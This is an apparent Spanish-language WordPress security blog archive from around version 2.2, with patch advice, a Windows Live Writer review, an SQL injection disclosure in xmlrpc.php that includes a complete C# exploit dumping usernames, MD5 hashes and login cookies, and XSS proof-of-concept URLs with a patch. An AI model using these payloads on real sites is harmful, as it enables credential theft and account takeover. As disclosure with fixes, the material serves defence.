Categories
WordPress

Pequeños ajustes en WordPress

El primero tiene que ver con un pequeño problema de seguridad que permite a cualquier usuario eliminar los archivos adjuntos que se suben utilizando WordPress, para corregirlo tienen que buscar la función mw_newMediaObject en xmlrpc.php. En la siguiente porción de código, se muestra como debería quedar finalmente esa función.

php:

/* metaweblog.newMediaObject uploads a file, following your settings */
function mw_newMediaObject($args) {
        // adapted from a patch by Johann Richard
        // http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/

        global $wpdb;

        $blog_ID     = (int) $args[0];
        $user_login  = $wpdb->escape($args[1]);
        $user_pass   = $wpdb->escape($args[2]);
        $data        = $args[3];

        $name = sanitize_file_name( $data['name'] );
        $type = $data['type'];
        $bits = $data['bits'];

        logIO('O', '(MW) Received '.strlen($bits).' bytes');
        if ( !$this->login_pass_ok($user_login, $user_pass) )
                return $this->error;
        set_current_user(0, $user_login);
        if ( !current_user_can('upload_files') ) {
                logIO('O', '(MW) User does not have upload_files capability');
                $this->error = new IXR_Error(401, __('You are not allowed to upload files to this site.'));
                return $this->error;
        }
        if ( $upload_err = apply_filters( "pre_upload_error", false ) )
                return new IXR_Error(500, $upload_err);

        if(!empty($data["overwrite"]) && ($data["overwrite"] == true)) {
                // Get postmeta info on the object.
                $old_file = $wpdb->get_row("
                        SELECT ID
                        FROM {$wpdb->posts}
                        WHERE post_title = '{$name}'
                                AND post_type = 'attachment'
                ");

                // Delete previous file.
                wp_delete_attachment($old_file->ID);

                // Make sure the new name is different by pre-pending the
                // previous post id.
                $filename = preg_replace("/^wpid\d+-/", "", $name);
                $name = "wpid{$old_file->ID}-{$filename}";
        }

        $upload = wp_upload_bits($name, $type, $bits, $overwrite);
        if ( ! empty($upload['error']) ) {
                $errorString = 'Could not write file ' . $name . ' (' . $upload['error'] . ')';
                logIO('O', '(MW) ' . $errorString);
                return new IXR_Error(500, $errorString);
        }
        // Construct the attachment array
        // attach to post_id -1
        $post_id = -1;
        $attachment = array(
                'post_title' => $name,
                'post_content' => '',
                'post_type' => 'attachment',
                'post_parent' => $post_id,
                'post_mime_type' => $type,
                'guid' => $upload[ 'url' ]
        );

        // Save the data
        $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
        wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );

        return apply_filters( 'wp_handle_upload', array( 'file' => $name, 'url' => $upload[ 'url' ], 'type' => $type ) );
}

El segundo cambio, es más cosmético y es para que los emoticonos se muestren aún cuando éstos no estén rodeados de espacios o inicio y fin de cadena ;).

Tienen que cambiar la siguiente línea (vars.php:90 en la versión 2.1 y wp-includes/functions.php:1477 en la versión 2.2):

php:

$wp_smiliessearch[] = '/(\s|^)'.preg_quote($smiley, '/').'(\s|$)/';

por

php:

$wp_smiliessearch[] = '/(\B|^)'.preg_quote($smiley, '/').'(\B|$)/';

*: Este problema si no me equivoco, afecta a la versión 2.2 y 2.1.

Categories
CSRF Seguridad Sql Injection Web WordPress XSS

Múltiples vulnerabilidades en la última version estable de WordPress MU

WordPress MU, es una versión de WordPress que soporta múltiples blogs. Tanto WordPress como WordPress MU comparten gran parte de código y por lo tanto, es lógico que casi siempre sufran los mismos problemas de seguridad*.

Luego de mirar un rato el código de la última versión estable de WordPress MU, veo que el casi inofensivo** problema de seguridad que reporté el lunes pasado en WordPress, tiene consecuencias más peligrosas en la versión multiblog puesto que cualquiera puede registrarse en sitios que usen este CMS. Por las pruebas que hice, el exploit funciona sin realizar ningún cambio.

Por otro lado, las versiones menores iguales a 1.2.1 son posiblemente vulnerables a todos los bugs reportados meses atrás. Por tanto, lo más seguro mientras liberan actualizaciones de seguridad es usar la versión en desarrollo.

*: un problema similar existe entre menéame y pligg, este último no ha corregido varios de los fallos reportados en el primero (y viceversa).
**: pocos blogs dejan que los usuarios se registren libremente.

Categories
Microsoft Utilidades WordPress

Nueva versión de Windows Live Writer

Esta semana se liberó una nueva versión del software que en la mayoría de los casos uso para escribir entradas, hablo de Windows Live Writer. Luego de jugar por un momento con las cosas que trae esta versión, les comento mis impresiones:

Lo bueno

  • Posibilidad de agregar nuevas categorías: me resulta particularmente útil esta opción porque casi siempre voy añadiendo nuevas categorías. 🙂
  • Soporte para especificar resúmenes (excerpt) de las entradas: esta opción me sirve para personalizar el meta description de cada entrada que se publica.
  • Sincronización con las ediciones que se hacen en línea.
  • Pegado especial: dá la posibilidad de remover el formato antes de pegar texto.

Lo malo

  • Sigue siendo igual de pesado que la versión anterior, se notan pequeños parpadeos al momento de hacer ciertas acciones.
  • Por el momento no soporta la corrección de ortografía para nuestro idioma.

Lo feo

  • No genera (X)HTML válido, sigue existiendo problemas con elementos <li> que no tienen un correspondiente tag de cierre </li>; por otro lado, sigue enviando atributos (no estándar) que sólo se usan para facilitar el trabajo de algunos plugins. Al parecer en esta versión tampoco existe una forma de escribir un plugin que actúe justo antes de publicar las entradas (esto sería útil para limpiar el HTML).

Si alguien desea usar esta nueva versión puede descargarlo desde http://g.msn.com/4SAWLWENUS/WriterMSI.

Categories
Seguridad Sql Injection Web WordPress

SQL Injection en WordPress 2.2 + exploit incluido

Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.

El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:

php:

function wp_suggestCategories($args) {
        global $wpdb;

        $this->escape($args);

        $blog_id                                = (int) $args[0];
        $username                            = $args[1];
        $password                            = $args[2];
        $category                            = $args[3];

        $max_results            = $args[4];

        if(!$this->login_pass_ok($username, $password)) {
                return($this->error);
        }

        // Only set a limit if one was provided.
        $limit = "";
        if(!empty($max_results)) {
                $limit = "LIMIT {$max_results}";
        }

        $category_suggestions = $wpdb->get_results("
                SELECT cat_ID category_id,
                        cat_name category_name
                FROM {$wpdb->categories}
                WHERE cat_name LIKE '{$category}%'
                {$limit}
        ");

        return($category_suggestions);
}

Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.

Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.

csharp:

using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        string targetUrl = "http://localhost/wp/";
        string login = "alex";
        string password = "1234";

        string data = @"<methodCall>
  <methodName>wp.suggestCategories</methodName>
  <params>
    <param><value>1</value></param>
    <param><value>{0}</value></param>
    <param><value>{1}</value></param>
    <param><value>1</value></param>
    <param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
  </params>
</methodCall>"
;

        string cookieHash = GetCookieHash(targetUrl);

        using (WebClient request = new WebClient())
        {
            /* Probar con el prefijo por omisión */
            string response = request.UploadString(targetUrl + "xmlrpc.php",
                string.Format(data, login, password, "wp_svn_"));

            /* Se hace una nueva petición si la consulta anterior falla */
            Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
            if (match.Success)
            {
                response = request.UploadString(targetUrl + "xmlrpc.php",
                    string.Format(data, login, password, match.Groups[1].Value));
            }

            try
            {
                XmlDocument doc = new XmlDocument();
                doc.LoadXml(response);

                XmlNodeList nodes = doc.SelectNodes("//struct/member/value");

                if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
                {
                    string user, pass;
                    /* Mostrar lista de:
                     * Usuario     md5(contraseña)
                     * Cookie de Autenticación
                     *
                     */

                    for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
                    {
                        user = nodes.Item(i).InnerText;
                        pass = nodes.Item(i + 1).InnerText;
                        Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
                            user,
                            pass);
                        Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
                            cookieHash,
                            user,
                            MD5(pass));
                    }
                }
                else
                {
                    Console.WriteLine("Error:\n{0}", response);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error:\n" + ex.ToString());
            }
        }
    }

    private static string GetCookieHash(string targetUrl)
    {
        WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
        request.Method = "HEAD";
        (request as HttpWebRequest).AllowAutoRedirect = false;

        WebResponse response = request.GetResponse();
        if (response != null)
        {
            Match match = Regex.Match(response.Headers["Set-Cookie"],
                    @"wordpress[a-z]+_([a-z\d]{32})",
                    RegexOptions.IgnoreCase);

            if (match.Success)
                return match.Groups[1].Value;
        }
        return string.Empty;
    }
    public static string MD5(string password)
    {
        MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
        byte[] bs = Encoding.UTF8.GetBytes(password);
        bs = x.ComputeHash(bs);
        StringBuilder s = new StringBuilder();
        foreach (byte b in bs)
        {
            s.Append(b.ToString("x2").ToLower());
        }
        return s.ToString();
    }
}

Para corregir este problema, mientras liberan actualizaciones para WordPress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php. 😉

Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)

Categories
Seguridad Web WordPress XSS

Más vulnerabilidades XSS para WordPress

Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.

Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de WordPress.

Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):

code:

http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:

diff:

Index: wp-admin/edit-form-advanced.php
===================================================================
--- wp-admin/edit-form-advanced.php     (revision 5508)
+++ wp-admin/edit-form-advanced.php     (working copy)
@@ -140,7 +140,7 @@
 
 <fieldset id="titlediv">
        <legend><?php _e('Title') ?></legend>
-       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 <fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
 
 <fieldset id="titlediv">
   <legend><?php _e('Page Title') ?></legend>
-  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php      (revision 5508)
+++ wp-admin/user-edit.php      (working copy)
@@ -76,7 +76,7 @@
 <form name="profile" id="your-profile" action="user-edit.php" method="post">
 <?php wp_nonce_field('update-user_' . $user_id) ?>
 <?php if ( $wp_http_referer ) : ?>
-       <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+       <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
 <?php endif; ?>
 <p>
 <input type="hidden" name="from" value="profile" />
 

Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".